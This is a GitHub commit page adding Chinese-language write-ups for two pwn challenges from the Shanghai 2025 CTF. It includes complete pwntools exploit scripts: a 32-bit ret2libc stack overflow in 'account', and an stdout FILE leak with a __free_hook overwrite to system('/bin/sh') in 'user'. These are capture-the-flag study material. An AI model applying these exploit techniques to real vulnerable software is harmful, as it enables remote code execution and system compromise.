Skip to content

Commit b75e786

Browse files
committed
create(shanghai2025): submit wp
1 parent ee153e0 commit b75e786

File tree

6 files changed

+159
-0
lines changed

6 files changed

+159
-0
lines changed

shanghai2025/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# 上海磐石行动大学生CTF 2025
2+
3+
今年没进决赛,遗憾离场了,初赛加复赛排名才22
4+
5+
## 题解
6+
7+
1. user
8+
2. account

shanghai2025/account.md

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# account
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |i386 |
8+
|RELRO|Partial|
9+
|Canary|off |
10+
|NX |on |
11+
|PIE |off |
12+
|strip |no |
13+
|libc |2.31-0ubuntu9.18|
14+
15+
## 解题思路
16+
17+
非常直接的栈溢出,走ret2libc那套就行。不输入0就可以一直往上输入,
18+
输入时还会覆盖到`idx`,可以顺手将其改为指向返回地址,少循环几次,
19+
然后输入rop的链子后以0结尾就行。
20+
21+
好久没做32位的题了,都忘记怎么构造rop了。32位上,发生了`call`以后,
22+
对于子函数来说,`[esp]`是返回地址,`[esp+4]`才是参数。因此我们在构造链子的时候,
23+
返回地址后面不应该跟参数,而是跟另一个返回地址,如下图所示。
24+
25+
<img src="assets/32bit_rop.png" width="60%">
26+
27+
> [!TIP]
28+
> `scanf("%d")`在输入超大数字时不会自动溢出到负数,因此需要我们手动干预,
29+
> 取数字的补码,例如对于libc这种超过`0x7fffffff`的指针,就要手动减去`1 << 32`
30+
31+
## EXPLOIT
32+
33+
```python
34+
from pwn import *
35+
context.terminal = ['tmux', 'splitw', '-h']
36+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
37+
EXE = './account'
38+
39+
def payload(lo: int):
40+
global t
41+
if lo:
42+
t = process(EXE)
43+
if lo & 2:
44+
gdb.attach(t, 'b *0x80492ea\nc')
45+
else:
46+
t = remote('pss.idss-cn.com', 24817)
47+
elf = ELF(EXE)
48+
libc = ELF('./libc.so.6')
49+
50+
def round_input(rop: list[int]):
51+
bills = [1] * 10 # overflow
52+
bills.append(13) # write i to ret addr
53+
for e in rop:
54+
bills.append(e if e < 0x80000000 else e - (1 << 32))
55+
bills.append(0) # ends up
56+
t.sendlineafter(b'Enter', ' '.join(map(str, bills)).encode())
57+
t.recvuntil(b'completed\n')
58+
59+
round_input([elf.plt['puts'], elf.symbols['vul'], elf.got['puts']])
60+
libc_base = t.u32() - libc.symbols['puts']
61+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
62+
libc.address = libc_base
63+
64+
round_input([libc.symbols['system'], libc.symbols['exit'],
65+
next(libc.search(b'/bin/sh')), 1])
66+
67+
t.clean()
68+
t.interactive()
69+
t.close()
70+
```
71+
72+
![flag](assets/account_flag.png)

shanghai2025/assets/32bit_rop.png

58.5 KB
Loading

shanghai2025/assets/account_flag.png

70.1 KB
Loading

shanghai2025/assets/user_flag.png

66.3 KB
Loading

shanghai2025/user.md

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# user
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |amd64 |
8+
|RELRO |Full |
9+
|Canary|on |
10+
|NX |on |
11+
|PIE |on |
12+
|strip |no |
13+
|libc |2.31-0ubuntu9.18|
14+
15+
## 解题思路
16+
17+
看到`delete``edit`对输入的索引检查不严格,允许我们输入负数以向前访问。
18+
由于RELRO只读,因此我们有效的数据只有`stdin, stdout, stderr``__dso_handle`
19+
使用`edit`,我们能够写`*stdout`的前0x40字节,通过修改`_flag``_IO_write_base`
20+
就可以让`puts`先将base-ptr范围之间的内容输出出来,借此泄露libc。
21+
22+
> [!TIP]
23+
> 网上一般说修改`_flag``0xfbad1800`,但是这样的话就不是无缓冲了,会影响脚本后续判断,
24+
> 因此根据原flag,我们可以设置为`0xfbad1887`,这样既能利用成功,又能保持原有的输出特性。
25+
26+
不难注意到`__dso_handle`上放着`__dso_handle`自己,因此我们edit它时,
27+
等于原地修改那一片的内存。由于是libc2.31,可以直接写入一个`__free_hook`的地址,
28+
再edit它并写入`system`,就利用完毕了。最后分配一个堆块写入`/bin/sh`后,
29+
释放一下就能拿shell。
30+
31+
## EXPLOIT
32+
33+
```python
34+
from pwn import *
35+
context.terminal = ['tmux', 'splitw', '-h']
36+
context.arch = 'amd64'
37+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
38+
EXE = './user'
39+
40+
def payload(lo: int):
41+
global t
42+
if lo:
43+
t = process(EXE)
44+
if lo & 2:
45+
gdb.attach(t)
46+
else:
47+
t = remote('pss.idss-cn.com', 22122)
48+
elf = ELF(EXE)
49+
libc = elf.libc
50+
51+
def add(buf: bytes):
52+
t.sendlineafter(b'Unregister', b'1')
53+
t.sendafter(b'username:\n', buf)
54+
55+
def delete(idx: int):
56+
t.sendlineafter(b'Unregister', b'2')
57+
t.sendlineafter(b'index', str(idx).encode())
58+
59+
def edit(idx: int, buf: bytes):
60+
t.sendlineafter(b'Unregister', b'4')
61+
t.sendlineafter(b'index', str(idx).encode())
62+
t.sendafter(b'username:\n', buf)
63+
64+
edit(-8, flat(0xfbad1887, 0, 0, 0, p8(0x8))) # set stdout->write_base to stdout->chain
65+
libc_base = t.u64() - libc.symbols['_IO_2_1_stdin_']
66+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
67+
libc.address = libc_base
68+
69+
add(b'/bin/sh')
70+
edit(-11, p64(libc.symbols['__free_hook'])) # write free_hook on __dso_handle
71+
edit(-11, p64(libc.symbols['system'])) # write system on free_hook
72+
delete(0) # trigger free hook
73+
74+
t.clean()
75+
t.interactive()
76+
t.close()
77+
```
78+
79+
![flag](assets/user_flag.png)

0 commit comments

Comments
 (0)